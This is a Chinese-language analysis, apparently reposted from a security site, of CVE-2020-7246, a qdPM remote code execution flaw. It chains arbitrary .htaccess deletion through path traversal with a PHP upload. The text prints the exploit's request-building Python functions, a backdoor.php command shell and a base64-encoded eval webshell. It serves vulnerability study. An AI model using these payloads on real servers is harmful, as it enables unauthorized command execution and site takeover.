qdPM <9.1 远程代码执行漏洞分析(CVE-2020-7246)
2020-05-29 10:41:16 Author: xz.aliyun.com(查看原文) 阅读量:595 收藏

0x00 背景知识

htaccess文件

.htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置。通过htaccess文件,可以实现网页301重定向、自定义404页面,改变文件扩展名、允许或阻止访问特定目录等操作。

一般来说,.htaccess文件需要放在网站的根目录下才能控制整个站点,并且在Linux系统中,需要将其权限设置为644来提高安全性。 .htaccess文件可作用于当前目录及所有子目录,但是某一特定目录下的.htaccess文件中的指令可能会覆盖上级目录中的.htaccess文件中的指令,也就是子目录中的指令会取代父目录或者根目录中的指令。在qdPM中,根目录和users目录都存在.htaccess文件,那么users目录下的.htaccess文件指令会覆盖掉根目录下的指令。

users目录下的.htaccess文件

# $Id$
#
# This is used to restrict access to this folder to anything other
# than images

# Prevents any script files from being accessed from the images folder
<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
   Order Deny,Allow
   Deny from all
</FilesMatch>

users目录中的.htaccess文件限制了用户只能上传图片文件到users目录,像php、html、cgi、exe等后缀的文件都会被限制写入到这个目录中。

根目录下的.htaccess

#uncomment next two lines to run qdPM in SSL mode
#RewriteCond %{HTTPS} !=on
#RewriteRule . https://%{HTTP_HOST}%{REQUEST_URI} [L]

<IfModule mod_rewrite.c>
  RewriteEngine On

  # uncomment the following line, if you are having trouble
  # getting no_script_name to work
  #RewriteBase /

  # we skip all files with .something
  #RewriteCond %{REQUEST_URI} \..+$
  #RewriteCond %{REQUEST_URI} !\.html$
  #RewriteRule .* - [L]

  # we check if the .html version is here (caching)
  RewriteRule ^$ index.html [QSA]
  RewriteRule ^([^.]+)$ $1.html [QSA]
  RewriteCond %{REQUEST_FILENAME} !-f

  # no, so we redirect to our front web controller
  RewriteRule ^(.*)$ index.php [QSA,L]
</IfModule>

根目录下的.htaccess文件对一些html文件进行限制。

0x01 漏洞复现

  1. 访问搭建好的网站,其中预先注册了一个普通用户:[email protected]/user01

  2. 运行exp,exp脚本可在https://packetstormsecurity.com/files/156063/qdPM-9.1-Remote-Code-Execution.html找到

  3. 访问exp生成的URL,发现可成功执行命令

  4. 尝试写入shell,这里是将一句话木马base64编码后写入shell.php,其实可以不用将一句话木马编码就可以写入文件中

    编码前:<?php eval($_POST[123]);?>

    编码后是:PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4K

    执行ls命令,发现成功写入文件

  5. 使用蚁剑连接shell

    成功getshell

0x02 漏洞分析

本次分析主要是根据现有的exp进行分析

exp的main()函数,在登录后获取一系列参数后调用了req()函数,因此主要分析exp的代码中的req函数

def req(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    ):
    request_1 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '.htaccess',
        )
    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                , files=request_1)
    request_2 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '../.htaccess',
        )
    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                 , files=request_2)
    request_3 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, ''),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[photo]': ('backdoor.php',
                         '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); echo $cmd." "; system($cmd); echo "</pre>"; die; }?>'
                         , 'application/octet-stream'),
        }
    cprint(request_3, 'red')
    upload_req = session_requests.post(HOSTNAME
            + 'index.php/myAccount/update', files=request_3)

在这个函数中,可以看到执行了三个请求,而在前两个请求中都调用了multifrm()函数

def multifrm(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    uservar,
    ):
    request_1 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, uservar),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[remove_photo]': (None, '1'),
        }
    cprint(request_1, 'green')
    return request_1

结合req()函数的请求可以发现,request_1请求的users[photo_preview]参数为.htaccess,request_2请求的users[photo_preview]参数为../.htaccess

仔细观察这两个请求,可以发现这两个请求都访问了index.php/myAccount/update页面,也就是用户信息更改页面。

在源码文件 core/apps/qdPM/modules/users/actions/actions.class.php文件中找到用户修改信息的功能实现方法:processForm()函数。

processForm()函数的第241行处,发现了任意文件删除漏洞的敏感函数unlink()

而进行到这一步的条件是remove_photo的值为1,并且photo_preview值的长度要大于0

从上面的分析可以看出,multifrm()函数已经默认每个请求的remove_photo值为1,那么在request_1request_2中,这两个条件都满足。

也就是说,在request_1中,users目录下的.htaccess文件会被删除。在request_2中,利用..绕过,删除了根目录下.htaccess文件。

根据背景知识中可知,将这两个文件删除后,即可在users目录中写入php文件。

接着,继续分析源代码,分析如何写入php文件。

core/apps/qdPM/modules/users/actions/actions.class.php文件的第217-237行,对上传的图片进行了处理,也就是request_3users_photo参数的内容会经过这个逻辑。

可操作写入php文件的点就是在224行和225行的位置。

move_uploaded_file()函数的作用是将上传的文件移动到指定的位置,那么在这里的意思是将用户上传的图片移动到users目录中。因此,exp中的backdoor.php可以上传到users目录中,而backdoor.php的名称可以通过再次请求index.php/myAccount,名称会在photo_preview参数中显示,或者直接访问uploads/users,该站还存在目录遍历漏洞,直接获取后门上传后的文件名。


文章来源: http://xz.aliyun.com/t/7795
如有侵权请联系:admin#unsafe.sh